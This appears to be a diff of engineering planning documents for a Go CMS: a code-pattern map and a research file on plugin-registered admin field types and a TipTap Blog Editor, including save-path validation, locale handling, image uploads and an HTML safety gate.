| `../vue-journal-layer/app/utils/embeds.ts` (NEW) + `PostBody.vue:11`, `CategoryHeader.vue:17` | utility | transform | `../vue-journal-layer/app/utils/htmlGate.ts` | exact |
|
||||
| Release: tag v0.1.17, journal/host go.mod bumps, layer v0.2.0 + app pin, UAT redeploy | config | batch | Phase 16.1 release plan (`.planning/phases/16.1-*/16.1-02-PLAN.md`) | exact |
|
||||
|
||||
## Pattern Assignments
|
||||
|
||||
### `modules/pact/capabilities.go` (interface)
|
||||
|
||||
**Analog:** same file, `AdminAction` lines 217-270. Copy the shape: a struct of plain fields plus func fields tagged `json:"-"`, a separate `...Input` struct, a separate `...Result` struct, and a one-method `Has...` interface. Doc comments say what the framework owns versus what the func owns.
|
||||
|
||||
```go
|
||||
type AdminAction struct {
|
||||
Name string
|
||||
Label string
|
||||
Permissions []string
|
||||
Run func(ctx context.Context, in AdminActionInput) (AdminActionResult, error) `json:"-"`
|
||||
}
|
||||
...
|
||||
// HasAdminActions is implemented by an admin controller that registers named
|
||||
// actions for its toolbar.buttons list and its `type: widget` form fields.
|
||||
type HasAdminActions interface {
|
||||
AdminActions() []AdminAction
|
||||
}
|
||||
```
|
||||
`HasFormFieldTypes` is implemented by the **plugin** (not the controller), like `HasAdminControllers` (line 183-184). `pact.FieldError{Messages []string}` replaces `cabana.ValidationError`, because pact cannot import cabana. Asset fields reuse the `AdminClientAssets` path rule documented in lines 205-210 (paths under `assets/`).
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/field_type.go` (registry, boot validation)
|
||||
|
||||
**Analog:** `modules/cabana/extension.go`
|
||||
|
||||
**Element tag rule** (lines 49-55, 320-333). Reuse as is for `FormFieldType.Element`:
|
||||
```go
|
||||
func widgetTagPrefix(pluginID string) string {
|
||||
return strings.NewReplacer(".", "-", "_", "-").Replace(strings.ToLower(pluginID)) + "-"
|
||||
}
|
||||
func checkWidgetTag(tag, prefix string) error {
|
||||
if !widgetTagPattern.MatchString(tag) { ... }
|
||||
if reservedWidgetTags[tag] { ... }
|
||||
if !strings.HasPrefix(tag, prefix) { ... }
|
||||
return nil
|
||||
}
|
||||
```
|
||||
|
||||
**Asset read+hash** (lines 253-300). Extract the `read` closure into a function that takes `(pluginID, ownerLabel, fsys, files, exts...)` so controller assets and plugin field-type assets share it. The key is `vendor + "/" + plugin + "/" + strings.TrimPrefix(name, "assets/")` and the version is `digest[:12]`; errors go through `bootErr(pluginID, id, name, err)`. `checkAssetPath` (302-318) is reused unchanged.
|
||||
|
||||
**Name uniqueness pattern**: `compileActions` (335+) builds a map and fails on duplicates or reserved names (`builtinToolbarActions`, line 47). Apply the same check to aliases against the `formFieldTypes` keys, `widget`, `partial` and other plugins' aliases. Do not use a package-level registry: build it in `Activate` (`http.go:74-121`) and pass it into `compileRegistry`.
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/field_type_upload.go` (controller, file-I/O)
|
||||
|
||||
**Analog:** `modules/cabana/field_file.go` lines 684-760, routes in `http.go:335-347`.
|
||||
|
||||
```go
|
||||
func (s *service) fileUpload(w http.ResponseWriter, r *http.Request) {
|
||||
s.protect(w, r, func(cc *CompiledController) { s.fileUploadOn(w, r, cc, parentFiles(cc)) })
|
||||
}
|
||||
...
|
||||
body := &bodyReader{r: http.MaxBytesReader(w, r.Body, s.uploadCap(cf))}
|
||||
r.Body = io.NopCloser(body)
|
||||
mr, err := r.MultipartReader()
|
||||
if err != nil { writeCRUDError(w, invalidBody()); return }
|
||||
part, err := mr.NextPart()
|
||||
...
|
||||
err = lagoon.Transaction(r.Context(), db, func(ctx context.Context, tx *gorm.DB) error {
|
||||
ctx = withTx(ctx, tx)
|
||||
sc, err := fr.scope(ctx, tx, r)
|
||||
```
|
||||
Route registration follows `g.Post("/{vendor}/{plugin}/{controller}/{id}/files/{field}", requireAjax(s.fileUpload))`, so the new route is `g.Post("/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload", requireAjax(s.fieldUpload))`. Use `s.uploadBytes` for the cap, load the record through the `FormExtendQuery` scope when `id != 0`, map `pact.FieldError` to 422 on the field, and answer 201 `{data:{url}}`. Also add an entry to `admin_openapi.go` and `phase09Routes` and rerun `scripts/check-admin-openapi.sh`.
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/tx_context.go` (written-values accessor)
|
||||
|
||||
**Analog:** same file, lines 36-60:
|
||||
```go
|
||||
type virtualFieldsKey struct{}
|
||||
|
||||
func withVirtualFields(ctx context.Context, values map[string]any) context.Context {
|
||||
if values == nil { values = map[string]any{} }
|
||||
return context.WithValue(ctx, virtualFieldsKey{}, values)
|
||||
}
|
||||
|
||||
func VirtualFieldsFromContext(ctx context.Context) (map[string]any, bool) {
|
||||
if ctx == nil { return nil, false }
|
||||
values, ok := ctx.Value(virtualFieldsKey{}).(map[string]any)
|
||||
```
|
||||
Mirror it as `fieldWritesKey{}` / `withFieldWrites` / exported `FieldWritesFromContext(ctx) (map[string]map[string]string, bool)` (field → locale → value), returning a copy and the same "false outside a create or update save" semantics.
|
||||
|
||||
---
|
||||
|
||||
### `modules/cabana/crud.go` + `field_ml.go` (save and hydrate)
|
||||
|
||||
**Analog:** the existing ML path in `save()`:
|
||||
- `crud.go:600` `translations, err := liftMLValues(ctx, cc, in.Body, op, s.writer, s.DB)` runs before the tx. Add the plugin shape check here; translatable plugin types reuse the `liftMLValues` locale-map rules (`field_ml.go` doc at 52-58).
|
||||
- `crud.go:616` `loadRecord(...)`. Insert the per-(field, locale) Load → compare → skip/Decode step right after this.
|
||||
- `crud.go:688` `applyMLTranslations(ctx, tx, s.writer, target, translations)`. Decoded non-default values join `translations`.
|
||||
- `crud.go:709` `hydrateMLRecord(...)`. Call plugin `Load` per locale here.
|
||||
- `crud.go:1224-1232`: the `scalarFormField` switch gains a registry lookup (it is used by `BindWritableFields` at 204 and `mergedRules` at 1073).
|
||||
- `field_ml.go:47-53` `mlFieldType(typ)`: becomes registry-aware (a plugin type with `Translatable: true`).
|
||||
- Error mapping: follow `lifecycleFailure` (crud.go:815-850). `pact.FieldError` becomes a 422; anything else becomes the opaque 500.
|
||||
|
||||
### `modules/cabana/form_schema.go`
|
||||
|
||||
The self-pattern at lines 24-30 (closed set) and 466-480 (key check before type resolution). Reorder so the type resolves first and plugin `Options` keys are checked after it, then call `CheckOptions`. `decodeFields` callers: form_schema.go:194, settings.go:74 (refuse plugin types in v1), relation_form.go:145/:246.
|
||||
|
||||
---
|
||||
|
||||
### `admin/src/components/form/fields/PluginField.vue` (component, event-driven)
|
||||
|
||||
**Analog:** `admin/src/components/form/fields/WidgetField.vue`. Copy:
|
||||
- the imports block (lines 1-9: `inject`, `FORM_ASSETS`, `FORM_LOCALE`, `ExtensionFailure`, `FieldControlProps`);
|
||||
- the imperative element creation in a `mountPoint` that Vue never renders into;
|
||||
- the `status: 'loading' | 'ready' | 'failed'` ref, the `defined(tag)` wait with `timeout(ms)` (lines 50-60);
|
||||
- the header-comment rule: never give the element a token, cookie, function or Vue instance.
|
||||
|
||||
Differences: set `el.value` (property, not attribute); listen for `summer-change` → `emit('update:modelValue', detail.value)`; handle `summer-upload` by posting through `api` (the same client as the widget action) to the field upload route, then dispatch `summer-upload-result`. Add event-name constants next to `WIDGET_EVENT`/`WIDGET_RESULT_EVENT` in `formContext.ts:86,93`.
|
||||
|
||||
### ML variant
|
||||
|
||||
**Analog:** `admin/src/components/form/fields/MLMarkdownField.vue` (whole file):
|
||||
```vue
|
||||
<MLField v-bind="props" :inner="MarkdownField" inner-type="markdown" ml-type="mlmarkdown"
|
||||
@update:model-value="emit('update:modelValue', $event)" />
|
||||
```
|
||||
Use `:inner="PluginField"`, `inner-type` = the base alias, and `ml-type` = `field.type`. Let `isMLFieldType` (`mlLocale.ts:2`, `ML_FIELD_TYPES`) accept fields flagged `translatable`.
|
||||
|
||||
### `admin/src/components/form/registry.ts`
|
||||
|
||||
Self-pattern: `rendererFor(type)` returns `renderers.get(type) ?? lazyRenderers.get(type)?.() ?? UnsupportedField`. Change it to take the field (or check `field.element`) so plugin types fall back to `PluginField`/`MLPluginField` instead of `UnsupportedField`. `valueless` stays unchanged. Add translatable plugin types to `groupLabelledTypes` behaviour.
|
||||
|
||||
### `admin/src/app/fieldTypes.ts` (global loader)
|
||||
|
||||
**Analog:** `admin/src/app/pluginAssets.ts`. Reuse `assetAllowed()`, the `scripts` once-per-URL map, and the module-script loading. Unlike `activateStyles(controllerId)` (lines 105-110, which disables links whose `owner !== active`), field-type links need a reserved global owner that `activateStyles` skips (Pitfall 8). Call it once after login, from the app shell.
|
||||
|
||||
---
|
||||
|
||||
### `../sm-journal-plugin/classes/blog_editor.go` (Decode/Load/ListValue/Upload)
|
||||
|
||||
**Analog (gate):** `classes/format_html.go`, `CheckHTML(doc string) error`. **Analog (422 shape and nil content):** `controllers/categories.go:65-82`:
|
||||
```go
|
||||
func prepareCategoryWrite(cat *models.Category) error {
|
||||
if cat.Content == nil { return nil }
|
||||
if strings.TrimSpace(*cat.Content) == "" { cat.Content = nil; return nil }
|
||||
if err := classes.CheckHTML(*cat.Content); err != nil {
|
||||
return &cabana.ValidationError{Details: map[string]any{"content": []string{err.Error()}}}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
```
|
||||
In Decode, return `pact.FieldError{Messages: []string{err.Error()}}` instead of `cabana.ValidationError`. Load serves `content` if it looks like HTML, otherwise `content_html` (non-default locale through `TranslationWriter.TranslatedExact`, `field_ml.go` interface).
|
||||
|
||||
### `../sm-journal-plugin/classes/media_store.go` (extracted storage)
|
||||
|
||||
**Analog:** `controllers/api/media.go` `UploadMedia` lines 22-91. Extract the part after auth (lines ~42-84): the extension allowlist `jpg|jpeg|png|gif|webp`, the `mediaMaxBytes` cap, `mediaObjectPath(folder, name)`, `uniqueMediaKey`, `bucket.NewWriter` and `attach.PublicURL(...)`. Use it as a `StoreMedia(ctx, bucket, folder, filename, body) (url, path string, err error)` called by both `UploadMedia` and the `blogeditor` Upload. Validation messages ("The file must be an image." and so on) become `pact.FieldError` on the field route. The API route keeps its response shape (D-09 parity).
|
||||
|
||||
### `../sm-journal-plugin/controllers/posts.go`
|
||||
|
||||
Self-pattern `preparePostWrite` (204-221). The admin path drops:
|
||||
```go
|
||||
html, err := classes.FormatHTML(post.Content)
|
||||
...
|
||||
post.ContentHTML = html
|
||||
```
|
||||
Replace it with `if writes, ok := cabana.FieldWritesFromContext(ctx); ok { if v, ok := writes["content"][defaultLocale]; ok { post.ContentHTML = v } }`. In `FormAfterCreate`/`FormAfterUpdate`, call `writer.WriteTranslated(ctx, tx, post, "content_html", locale, value)` for each written non-default locale. `controllers/api/posts_helpers.go` keeps `FormatHTML`.
|
||||
|
||||
### `../sm-journal-plugin/admin.go` / `plugin.go`
|
||||
|
||||
The `//go:embed` list in `admin.go:16-20`, for example `//go:embed assets/images/journal-icon.svg`. Add `assets/dist/blogeditor.js assets/dist/blogeditor.css`. The plugin type implements `pact.HasFormFieldTypes`, with compile-time assertions in the style of `var ( _ pact.AdminController = categoriesAdminController{} )` (categories.go:84+).
|
||||
|
||||
### `../sm-journal-plugin/package.json`, `vite.config.ts`, `scripts/check-dist.sh`
|
||||
|
||||
**Analog:** `scripts/check-admin-dist.sh` (whole file): `set -euo pipefail`, `npm ci` if needed, typecheck, `vite build --outDir "$TMP/dist" --emptyOutDir`, then `diff -r "$TMP/dist" assets/dist` with a clear stale message. Copy the pins from `admin/package.json` (vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3).
|
||||
|
||||
### `../vue-journal-layer/app/utils/embeds.ts` (transform)
|
||||
|
||||
**Analog:** `../vue-journal-layer/app/utils/htmlGate.ts`. Same style: an exported regex constant, a header comment that names the Go source of truth, and pure string functions:
|
||||
```ts
|
||||
export const UNSAFE_TAG = /<(?:script|iframe|object|embed)\b/i
|
||||
export function gateJournalHtml(html: string | null | undefined): { safe: boolean; html: string } {
|
||||
if (!html) return { safe: true, html: '' }
|
||||
return isSafeJournalHtml(html) ? { safe: true, html } : { safe: false, html: '' }
|
||||
}
|
||||
```
|
||||
`expandEmbeds(html)` runs on `gated.html` after the gate, in `PostBody.vue:11` (`v-html="gated.html"`) and `CategoryHeader.vue:17` (`v-html="content.html"`).
|
||||
|
||||
## Shared Patterns
|
||||
|
||||
### Fail-loud boot errors
|
||||
**Source:** `modules/cabana/extension.go` `bootErr(pluginID, id, name, err)` and `compileExtension` (60+). **Apply to:** alias collisions, bad element tags, asset paths, and unknown or invalid plugin options.
|
||||
|
||||
### Admin-route guard stack
|
||||
**Source:** `http.go:335-347` (`requireAjax(...)`) plus `s.protect(w, r, func(cc *CompiledController) {...})` (field_file.go:684). **Apply to:** the field upload route and any field-types boot endpoint.
|
||||
|
||||
### Error to HTTP mapping
|
||||
**Source:** `crud.go:815-850` `lifecycleFailure`, `writeCRUDError`, `WriteError(w, 500, "error", msgServerError)`. **Apply to:** Decode, Load and Upload failures (`pact.FieldError` becomes a 422; anything else becomes an opaque 500).
|
||||
|
||||
### Element credential rule and event naming
|
||||
**Source:** `WidgetField.vue` header comment and `formContext.ts:86,93` (`summer-action`/`summer-result`). **Apply to:** PluginField and the blogeditor element (`summer-change`, `summer-upload`, `summer-upload-result`).
|
||||
|
||||
### Committed-dist drift gate
|
||||
**Source:** `scripts/check-admin-dist.sh`. **Apply to:** the admin SPA (`modules/boardwalk/dist`) and the sm-journal-plugin `assets/dist`.
|
||||
|
||||
### Docs and README rule
|
||||
**Source:** CLAUDE.md "Documentation". **Apply to:** pact and cabana READMEs and `docs/`, using neutral `blog`/`acme` names. Verify with `go test ./cmd/summer -run TestDocsTree`.
|
||||
|
||||
### Concurrent-session staging
|
||||
Stage by explicit path. Check `git status` and `git diff` for in-flight edits to `crud.go`, `form_schema.go` and `http.go` before committing.
|
||||
|
||||
## No Analog Found
|
||||
|
||||
| File | Role | Data Flow | Reason |
|
||||
|---|---|---|---|
|
||||
| `../sm-journal-plugin/assets/src/blogeditor/*` (TipTap element, schema, serializer, dirty tracking) | component | event-driven | No TipTap/ProseMirror code in any repo. Use RESEARCH Pattern 3/4/5 and Code Example 3 |
|
||||
| Server-side "served value equals submitted" skip | service | CRUD | New semantics; there is no existing compare-and-skip in `save()`. Use RESEARCH Pattern 3 |
|
||||
|
||||
## Metadata
|
||||
|
||||
**Analog search scope:** `modules/pact`, `modules/cabana`, `admin/src/{app,components/form}`, `scripts/`, `../sm-journal-plugin/{classes,controllers,admin.go}`, `../vue-journal-layer/app/{utils,components/Journal}`
|
||||
**Files scanned:** ~25
|
||||
**Pattern extraction date:** 2026-10-09
|
||||
@@ -0,0 +1,772 @@
|
||||
# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget - Research
|
||||
|
||||
**Researched:** 2026-10-09
|
||||
**Domain:** Go admin framework extension API (pact/cabana), Vue admin SPA, TipTap/ProseMirror custom element, Nuxt layer HTML post-processing
|
||||
**Confidence:** HIGH for the framework integration points (read from source this session) and for TipTap's lossy behaviour (probed locally against 3.31.4). MEDIUM for the recommended editor-preservation design, which is a design proposal that no tests cover yet.
|
||||
|
||||
<user_constraints>
|
||||
## User Constraints (from CONTEXT.md)
|
||||
|
||||
### Locked Decisions
|
||||
|
||||
#### Blog Editor: what it is
|
||||
- **D-01:** The Blog Editor is a **WYSIWYG HTML editor with a source (raw HTML) toggle**, built on ProseMirror through TipTap. It is not a block editor and not a markdown editor.
|
||||
- **D-02:** **An admin save stores HTML in both columns.** `content` holds the edited HTML and `content_html` holds the same HTML after it passes `classes.CheckHTML`. The API response shape is unchanged; `content` is simply HTML, as the PHP export already carries for imported posts. — **Reversibility:** costly — every post saved from the admin becomes HTML-content. A later move back to markdown would need an HTML-to-markdown migration across live posts.
|
||||
- **D-03:** **Byte-preserving unless edited.** If the post body is not touched in the editor, the save writes back exactly the stored HTML; the editor must not re-serialize an untouched document. Once the body is edited in WYSIWYG, markup the schema doesn't know (custom classes, divs, attributes) is kept as far as possible through generic node and attribute preservation. The source tab always edits the exact HTML.
|
||||
- **D-04:** v1 features: basic text (headings, bold/italic, lists, links, blockquote), **images**, **tables**, and **embeds plus a raw HTML block**. The raw HTML block is still subject to `CheckHTML`.
|
||||
- **D-05:** **Embeds are an allowlisted placeholder node**, for example `<figure data-embed="youtube" data-id="…">`, that passes `CheckHTML` unchanged. **The XSS gate is not relaxed to allow iframes.** The frontend expands the placeholder into the real iframe (D-17). — **Reversibility:** costly — the placeholder markup becomes stored content in live posts, and the layer's renderer depends on it.
|
||||
- **D-06:** The editor is **translatable like today's `mlmarkdown`**: a locale switcher over a locale → HTML map, stored through the translate overlay.
|
||||
|
||||
#### Markdown vs HTML posts
|
||||
- **D-07:** **A markdown post opens with its `content_html`**, and the next admin save stores HTML (D-02). This is a one-way migration on first edit, with **no per-post format flag** and no new column.
|
||||
- **D-08:** **The Blog Editor replaces `mlmarkdown` for Journal post `content`** in `models/post/fields.yaml`. `markdown` and `mlmarkdown` stay cabana core types for other plugins. The `excerpt` field is unchanged.
|
||||
- **D-09:** **The public write API is unchanged.** `POST`/`PUT /_journal/api/v1/posts` keep the PHP contract: `content` is markdown and the server renders `content_html` with `FormatHTML`. Only the admin form path stores HTML.
|
||||
- **D-10:** **Admin save gate: `CheckHTML` refuses, nothing is sanitized.** Unsafe HTML returns a 422 with a field error, as category content does today, and nothing is silently rewritten. No sanitizer dependency is added. `CheckHTML` must run on every admin write path for both the default and the non-default locale values. The admin save path must stop running `FormatHTML`/goldmark over HTML content, which is the current data-loss bug (todo `journal-imported-html-admin-resave.md`).
|
||||
|
||||
#### Field type contract (framework)
|
||||
- **D-11:** **Plugins register field types under a short global alias**, for example `type: blogeditor`. Boot fails loudly if two plugins, or a plugin and a cabana core type, claim the same alias. This is closer to Winter's `registerFormWidgets` aliases than to a namespaced key. — **Reversibility:** costly — aliases end up in plugin `fields.yaml` files across repos; renaming means editing every consumer.
|
||||
- **D-12:** The capability is a new `pact` interface (for example `HasFormFieldTypes`). Its Go side owns four things:
|
||||
1. **Option validation at boot**: the type's own YAML keys, fail-loud like the built-ins.
|
||||
2. **Value decode and validation on save**: any JSON shape, with field errors returned as 422.
|
||||
3. **Load and format for the form**: turns the stored column value into what the element receives. For the Blog Editor, a markdown post is served as its `content_html` (D-07).
|
||||
4. **List column formatting**: for example, strip tags and truncate.
|
||||
|
||||
— **Reversibility:** one-way — a published plugin API in `pact`; later plugins (payment and others, per todo `cabana-plugin-registered-field-types.md`) build on it.
|
||||
- **D-13:** **The client-side element loads globally on admin boot.** A plugin declares its field-type assets once, and the SPA loads them on every admin page, so the type works in any controller's form, including other plugins' forms. The element binds a value through a documented contract instead of the widget action/fill round-trip. The todo's starting point for that contract is a `value` property plus a `summer-change` event; the planner finalizes it. The element reads only the public `--c-*` CSS variables.
|
||||
- **D-14:** **Translatable variants are registered by the plugin itself**: the plugin registers both `blogeditor` and `mlblogeditor`, mirroring the `markdown`/`mlmarkdown` pair. The planner decides how a plugin ML type plugs into cabana's existing lift/hydrate path (`field_ml.go`) and the translate adapter, so locale storage is not reimplemented per plugin.
|
||||
- **D-15:** The form schema and the generated TS types carry plugin types as a generic shape, so the SPA build does not need to know them (per the todo). The cabana README, `docs/`, the admin OpenAPI, the generated TS types and the committed `dist/` are updated in the same change (CLAUDE.md documentation rules).
|
||||
|
||||
#### Libraries, media, category content
|
||||
- **D-16:** **The editor library is TipTap (ProseMirror, MIT).** It is wrapped in a plain custom element and bundled in **sm-journal-plugin's own JS build** (`assets/src` → `assets/dist`), with the bundle committed and embedded, like the admin SPA `dist/`. The host app needs no npm. The admin SPA itself gains no editor dependency.
|
||||
- **D-17:** **Embeds render in the `vue-journal-layer` blog views.** The layer expands allowlisted embed placeholders into privacy-friendly iframes (for example `youtube-nocookie.com`), so grzybyfunkcjonalne.pl shows them. A new layer tag is pinned in `vue-grzybyfunkcjonalne-app`.
|
||||
- **D-18:** **Images are uploaded through the existing backend-authenticated Journal media upload route**, by drag-and-drop or file picker. The editor inserts `<img src>` with alt text and an optional caption (`figure`/`figcaption`). There is no media library browser.
|
||||
- **D-19:** **Journal category content uses the Blog Editor** (`blogeditor`, or `mlblogeditor` if the category content attribute is translatable in the PHP tree) instead of the textarea. **No core cabana `richeditor` type** is added. This closes todo `cabana-richeditor-field-type.md` inside Journal. The existing `CheckHTML` gate in the Categories controller's `FormBeforeCreate`/`FormBeforeUpdate` stays.
|
||||
|
||||
### Claude's Discretion
|
||||
- The exact `pact` interface name and method set, Go identifiers, the element value/event contract details, and the asset declaration shape, all within D-11 to D-15.
|
||||
- How "untouched" is detected for D-03: client-side dirty tracking versus server-side comparison with the loaded value. Either is acceptable as long as an untouched save is byte-identical.
|
||||
- The ProseMirror schema strategy for preserving unknown markup (generic passthrough nodes and marks, a global attribute preservation extension).
|
||||
- The exact embed placeholder markup and the provider allowlist (YouTube at minimum).
|
||||
- Whether a summercms tag release, the host bump and a UAT redeploy belong in this phase, following the 16.1 D-04 pattern. Recommended, because the goal is to edit imported posts on UAT.
|
||||
- Plan count and split, subject to the plan-count checkpoint and "unit tests are the last plan". Framework work comes before the Journal work.
|
||||
- Run the security-review agent: the phase adds a plugin API to `pact`, changes HTML write paths and adds an upload path into the editor.
|
||||
|
||||
### Folded Todos
|
||||
- **`cabana-plugin-registered-field-types.md`**: the framework half of this phase (D-11 to D-15).
|
||||
- **`cabana-richeditor-field-type.md`**: resolved by reusing the Blog Editor for category content (D-19) instead of a core type.
|
||||
- **`journal-imported-html-admin-resave.md`**: the data-loss part is fixed by D-02, D-07 and D-10. Its required test applies: re-save an imported HTML post and assert `content` and `content_html` are unchanged. If 16.1 already shipped a stopgap, this phase replaces it.
|
||||
|
||||
### Deferred Ideas (OUT OF SCOPE)
|
||||
- **Core cabana `richeditor`/`mlricheditor` type** for plugins without their own editor. Not needed now; any plugin can register its own type or reuse one.
|
||||
- **Media library browser** for picking previously uploaded images.
|
||||
- **HTML input on the public write API** (`/_journal/api/v1/posts`). This would extend the PHP contract; the API stays markdown-in for now.
|
||||
- **Bulk HTML conversion command** (`journal:content-to-html`). Rejected in favour of convert-on-first-edit (D-07); revisit if a uniform format is ever needed.
|
||||
- **Allowlisting iframe hosts in `CheckHTML`**. Rejected in favour of placeholders (D-05).
|
||||
</user_constraints>
|
||||
|
||||
<phase_requirements>
|
||||
## Phase Requirements
|
||||
|
||||
No REQUIREMENTS.md IDs are mapped to this phase (ROADMAP: "Requirements: TBD"). Coverage is derived from the CONTEXT decisions and the folded todos. ADMIN-07 (Phase 10.1, complete) is the closest existing requirement; this phase extends it and must not regress it.
|
||||
|
||||
| ID | Description | Research Support |
|
||||
|----|-------------|------------------|
|
||||
| D-01, D-04 | WYSIWYG + source toggle; text, images, tables, embeds, raw HTML block | Standard Stack (TipTap 3.31.4), Pattern 4 (editor schema), probe results in Pitfalls 1-4 |
|
||||
| D-02, D-07, D-10 | HTML in both columns; markdown post served as `content_html`; CheckHTML refuses on every locale; admin path stops running goldmark | Pattern 2 (save lifecycle), Pattern 6 (Journal integration), Pitfall 6 |
|
||||
| D-03 | Byte-identical untouched save | Pattern 3 (two-layer untouched detection), Pitfall 5 |
|
||||
| D-05, D-17 | Embed placeholder; layer expands it after the gate | Pattern 7 (embed expansion), Code Example 4 |
|
||||
| D-06, D-14 | ML variant through cabana lift/hydrate + translate adapter | Pattern 2 (`Translatable` flag), Pitfall 7 (non-default `content_html` is never written today) |
|
||||
| D-08, D-19 | `mlblogeditor` for post content, `blogeditor` for category content | Category content is not translatable (Go model and frozen PHP tree) |
|
||||
| D-11, D-12, D-13, D-15 | pact field-type API, boot validation, generic schema shape, global asset load | Pattern 1 (registry), Pattern 5 (element contract), Architecture Map |
|
||||
| D-16 | Plugin-owned JS build, committed dist | Pattern 8 (plugin build), Environment Availability |
|
||||
| D-18 | Image upload from the editor | **Open Question 1**: the existing route cannot be reached with the admin session cookie; Pattern 9 (cabana-owned field upload route) |
|
||||
| todo resave | Re-save of untouched imported HTML keeps both columns byte-identical | Validation Architecture (test map) |
|
||||
</phase_requirements>
|
||||
|
||||
## Project Constraints (from CLAUDE.md)
|
||||
|
||||
These directives come from `summercms.go/CLAUDE.md`, the meta-repo `CLAUDE.md` and the user's global `CLAUDE.md`. The planner must honor them like locked decisions:
|
||||
|
||||
- **Lean planning.** Use fewer, larger plans. Before writing any PLAN.md, present the suggested plan count with a one-line scope for each and wait for confirmation.
|
||||
- **Unit tests are the last plan of the phase.** That plan brings full coverage. Earlier plans may carry smoke tests only.
|
||||
- **Go conventions.** Use the standard library first. Add a Go dependency only when research or a decision names it; this phase adds **no Go dependency**. `go vet` and `go test ./...` must be green at every commit.
|
||||
- **Compiled plugins only.** No runtime plugin loading. A JS custom element served from the embedded tree is the Phase 10.1 mechanism and is allowed.
|
||||
- **API parity.** The Journal public API keeps the PHP contract (D-09). Do not "improve" response shapes.
|
||||
- **Commits.** No co-author tags. One logical change per commit. Planning docs and code go in separate commits.
|
||||
- **Module documentation.** Any change to a `modules/` package's exported API, config keys, CLI or dependencies updates that module's `README.md` in the same change. `pact` and `cabana` both change here. The affected `docs/` pages change with them, and `go test ./cmd/summer -run TestDocsTree` must pass. Every identifier named in a README or doc must exist.
|
||||
- **Framework READMEs never name a consuming application.** Use `blog`/`acme` examples, not Journal or grzybyfunkcjonalne.
|
||||
- **Core plugin contracts.** Do not break the shared PHP contracts. The PHP originals are not changed.
|
||||
- **Concurrent session.** Another session may be editing `modules/` (16.1 D-02). Stage files explicitly by path and check for in-flight edits to shared cabana files before committing.
|
||||
|
||||
## Summary
|
||||
|
||||
The framework half is a new, value-bearing extension point that sits next to the valueless Phase 10.1 `type: widget`. Today every layer hard-codes its type list:
|
||||
|
||||
- `formFieldTypes` in `form_schema.go`
|
||||
- `scalarFormField` in `crud.go`
|
||||
- `mlFieldType` in `field_ml.go`
|
||||
- `listColumnTypes` in `list_schema.go`
|
||||
- the SPA `renderers` map and `ML_FIELD_TYPES`
|
||||
|
||||
Each list must consult a per-boot plugin type registry, built in `cabana.Activate` from plugins that implement a new `pact.HasFormFieldTypes`. Three constraints shape the design:
|
||||
|
||||
- **Thread the registry through.** `compileFieldNode` is a pure function with no registry access, and `decodeFields` is shared by controller forms, settings forms and relation child forms. The registry has to be passed down, not read from a package global.
|
||||
- **Keep the YAML pre-check working.** The YAML key pre-check (`formFieldKeys`) runs before the type is known, so plugin-specific keys must be validated after the type is resolved.
|
||||
- **Run Decode and Load inside the transaction.** `liftMLValues` runs before the transaction and before the record is loaded. Plugin Decode and Load need the loaded record (D-07 serves `content_html`; D-03 compares with the served value), so they run inside the transaction after `loadRecord`.
|
||||
|
||||
Two findings change the plan:
|
||||
|
||||
- **The Journal media upload route is unreachable from the admin SPA (D-18).**
|
||||
- The SPA authenticates with the HttpOnly `summer_admin` cookie, whose `Path` is the admin prefix.
|
||||
- The route lives at `/_journal/api/v1/media/upload`, outside that path, and its guard reads only a Bearer header.
|
||||
- The element is never given a token (Phase 10.1 rule).
|
||||
- The recommended fix: a cabana-owned upload route for plugin field types. It sits under the admin API, so it gets the cookie, the CSRF header, permissions and the record scope. Journal implements it by calling the same storage code as the existing route.
|
||||
- **TipTap's default schema is very lossy on this site's real markup.** Probed against 3.31.4 with the author-footer HTML from the grzybyfunkcjonalne export, the default schema:
|
||||
- drops `<footer>`, `<div>`, `<span style>`, `<style>`, `<figure>`/`<figcaption>` and microdata attributes;
|
||||
- normalizes entities;
|
||||
- rewrites tables (adds `colgroup` and `min-width` styles, drops `thead`, wraps cell text in `<p>`);
|
||||
- adds `target="_blank" rel="noopener noreferrer nofollow"` to every link;
|
||||
- appends an empty `<p>`.
|
||||
|
||||
Byte preservation therefore has two layers:
|
||||
- The element never re-serializes an untouched document, and the server skips a submitted value that equals what it served.
|
||||
- For edited documents, the custom schema is configured to keep as much markup as possible: an atomic raw-HTML block, a global attribute map, figure, embed and span nodes, and links and tables without TipTap's default attributes.
|
||||
|
||||
There is also a latent gap. The admin path never writes the non-default locale `content_html` translation; only the host column is set by `FormBeforeUpdate`. PHP's `MLJournalMarkdown::getSaveValue` wrote both per locale. The plugin ML type must close this gap, so the framework has to tell the Journal hooks which field and locale values a save actually wrote.
|
||||
|
||||
**Primary recommendation:** Add `pact.HasFormFieldTypes` returning `[]pact.FormFieldType` (a struct of funcs, the same style as `pact.AdminAction`) with `Name`, `Element`, `Translatable`, `Scripts`/`Styles`, option keys plus `CheckOptions`, `Decode`, `Load`, `ListValue` and an optional `Upload`. Cabana runs Decode and Load per locale inside the save transaction, skips values equal to what it served, and exposes the writes to Form hooks through a context accessor. Build the Blog Editor as a light-DOM custom element `golem15-journal-blogeditor` on TipTap 3.31.4 with a preservation-first schema, bundled with the admin SPA's pinned Vite 7.3.5.
|
||||
|
||||
## Architectural Responsibility Map
|
||||
|
||||
| Capability | Primary Tier | Secondary Tier | Rationale |
|
||||
|------------|-------------|----------------|-----------|
|
||||
| Field type registration, alias collision, option validation | API / Backend (cabana boot) | — | Fail-loud boot rule (ADMIN-07 precedent); no request input involved |
|
||||
| Decode/validate (CheckHTML) per locale, untouched skip | API / Backend (cabana save tx + plugin Decode) | — | XSS gate must be server-side on every write path (D-10); hooks only see the host model |
|
||||
| Load (markdown post → `content_html`) | API / Backend (plugin Load in Show/save response) | — | Needs the record and translations; the element must receive the served string |
|
||||
| Locale storage (ML variant) | API / Backend (cabana lift/hydrate + TranslationWriter) | Database (translate overlay) | D-14: not reimplemented per plugin |
|
||||
| `content_html` companion write (host + non-default) | API / Backend (Journal Form hooks) | — | Journal-specific derived column; needs to know which values were written |
|
||||
